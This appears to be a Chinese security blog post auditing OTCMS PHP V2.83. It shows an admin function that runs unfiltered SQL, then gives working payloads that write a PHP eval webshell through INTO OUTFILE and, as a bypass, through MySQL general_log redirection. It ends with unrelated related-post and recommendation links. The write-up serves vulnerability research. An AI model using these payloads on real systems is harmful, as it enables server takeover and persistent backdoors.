0x00 环境准备

OTCMS官网:http://otcms.com

网站源码版本:网钛CMS PHP版 V2.83 [更新于2017.12.31]

程序源码下载:http://d.otcms.com/php/OTCMS_PHP_V2.83.rar

测试网站首页:

0x01 代码分析

1、漏洞文件地址:/admin/sysCheckFile_deal.php  第523--540行:

  1. function SqlDeal(){
  2. global $DB,$skin,$mudi,$menuFileID,$menuTreeID;
  3. $backURL        = OT::PostStr('backURL');
  4. $sqlContent     = OT::PostStr('sqlContent');
  5. if (strlen($sqlContent) == 0){
  6. JS::AlertBackEnd('SQL语句不能为空.');
  7. }
  8. 10.
  9. 11.     $judRes = $DB->query($sqlContent);
  10. 12.         if ($judRes){
  11. 13.             $alertResult = '成功';
  12. 14.         }else{
  13. 15.             $alertResult = '失败';
  14. 16.         }
  15. 17.
  16. 18.     JS::AlertHrefEnd('执行'. $alertResult .'', $backURL);
  17. 19.

20. }

这段函数中,首先进行接收参数,判断sqlContent是否为空,然后带入到数据库中执行,根据返回结果判断语句是否执行成功。可以看到参数并未进行任何过滤或处理,导致程序在实现上存在代码执行漏洞,攻击者可以构造SQL语句写入脚本代码,进一步触发代码执行,控制网站服务器权限。

0x02 漏洞利用

1、登录后台,首先通过数据库备份功能获取网站物理路径:

2、访问漏洞地址,构造SQL语句进行文件写操作

漏洞URL:http://127.0.0.1/admin/sysCheckFile.php?mudi=sql

Payload:

  1. select '<?php eval($_POST[g]);?>' into outfile 'e:/study/WWW/otcms/Data_backup/1.php'

执行失败,程序在into outfile进行限制了。

3、如何绕过这种限制?

构造SQL语句利用日志写入文件:

  1. Payload:
  2. set global general_log = on;    #开启general log模式
  3. set global general_log_file = 'e:/study/WWW/otcms/Data_backup/1.php'; #设置日志目录为shell地址
  4. select '<?php eval($_POST[g]);?>'  #写入shell

4、成功触发脚本代码

5、通过菜刀连接,获取网站服务器控制权限

0x03 修复建议

1、Mysql数据库降权处理,让入侵者无法做高权限下可做的事!

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

【代码审计】OTCMS_PHP_V2.83_代码执行漏洞分析的更多相关文章

  1. [转帖]Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626)

    Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626) ADLab2019-03-15共23605人围观 ,发现 4 个不明物体安全报告漏洞 https://www.f ...

  2. 【代码审计】YUNUCMS_v1.0.6 后台代码执行漏洞分析

      0x00 环境准备 QYKCMS官网:http://www.yunucms.com 网站源码版本:YUNUCMSv1.0.6 程序源码下载:http://www.yunucms.com/Downl ...

  3. 【代码审计】大米CMS_V5.5.3 任意文件删除及代码执行漏洞分析

      0x00 环境准备 大米CMS官网:http://www.damicms.com 网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15) 程序源码下载:http://www ...

  4. 【代码审计】YzmCMS_PHP_v3.6 代码执行漏洞分析

      0x00 环境准备 YzmCMS官网:http://www.yzmcms.com/ 程序源码下载:http://pan.baidu.com/s/1pKA4u99 测试网站首页: 0x01 代码分析 ...

  5. 【代码审计】大米CMS_V5.5.3 代码执行漏洞分析

      0x00 环境准备 大米CMS官网:http://www.damicms.com 网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15) 程序源码下载:http://www ...

  6. 【代码审计】XYHCMS V3.5代码执行漏洞分析

      0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...

  7. 【代码审计】QYKCMS_v4.3.2 后台down.php页面代码执行漏洞分析

      0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...

  8. 【代码审计】DouPHP_v1.3代码执行漏洞分析

      0x00 环境准备 DouPHP官网:http://www.douco.com/ 程序源码下载:http://down.douco.com/DouPHP_1.3_Release_20171002. ...

  9. 【代码审计】iZhanCMS_v2.1 代码执行漏洞分析

      0x00 环境准备 iZhanCMS官网:http://www.izhancms.com 网站源码版本:爱站CMS(zend6.0) V2.1 程序源码下载:http://www.izhancms ...

随机推荐

  1. java并发之如何解决线程安全问题

    并发(concurrency)一个并不陌生的词,简单来说,就是cpu在同一时刻执行多个任务. 而Java并发则由多线程实现的. 在jvm的世界里,线程就像不相干的平行空间,串行在虚拟机中.(当然这是比 ...

  2. 你真的会用Gson吗?Gson使用指南(4)

    原文出处: 怪盗kidou 注:此系列基于Gson 2.4. 本次文章的主要内容: TypeAdapter JsonSerializer与JsonDeserializer TypeAdapterFac ...

  3. Spring Boot中CrudRepository与JpaRepository Dao中JpaRepository和JpaSpecificationExecutor查询

    原文地址  https://blog.csdn.net/xuemengrui12/article/details/80525227?utm_source=blogxgwz0 https://www.i ...

  4. mongodb 字符串查找匹配中$regex的用法

    官网地址:https://docs.mongodb.com/manual/reference/operator/query/regex/#regex-case-insensitive 举个例子来说:现 ...

  5. Spring MVC 中使用 Google kaptcha 验证码

    验证码是抵抗批量操作和恶意登录最有效的方式之一. 验证码从产生到现在已经衍生出了很多分支.方式.google kaptcha 是一个非常实用的验证码生成类库. 通过灵活的配置生成各种样式的验证码,并将 ...

  6. DataGuard---->备库参数db_file_name_convert和log_file_name_convert的作用

    一.参数说明 [1] db_file_name_convert db_file_name_convert 主数据库和备用数据库的数据文件转换目录对映(如果两数据库的目录结构不一样),如果有多个对映,逐 ...

  7. Windows批处理 调用程序后 不等待子进程 父进程继续执行命令

    从DOS过来的老鸟应该都知道批处理,这个功能在WINDOWS中仍然保留着.批处理 说白了就是把一系列DOS命令写在一个文本文件里,然后把这个文件命名为XXX.bat(WINXP以后的系统也可以命名为* ...

  8. 有关volatile关键字和transient关键字

    (1)volatile关键字['vɑlətl]的作用 让变量每次在使用的时候,都从主存中取,而不是从各个线程的“工作内存”. 也就是说,volatile变量对于每次使用,线程都能得到当前volatil ...

  9. texlive测试是否安装成功

    在完成TEX Live安装之后,自然你会希望试试看它是否正常工作,好让你在以后能够创建优美的文档和字体. 1.首先确认你可以执行tex程序: >tex --version TeX 3.14159 ...

  10. 【XMPP】XMPP类型

    1.ConnectionConfiguration 作为用于与XMPP服务建立连接的配置.它能配置:连接是否使用TLS,SASL加密. 包含内嵌类:ConnectionConfiguration.Se ...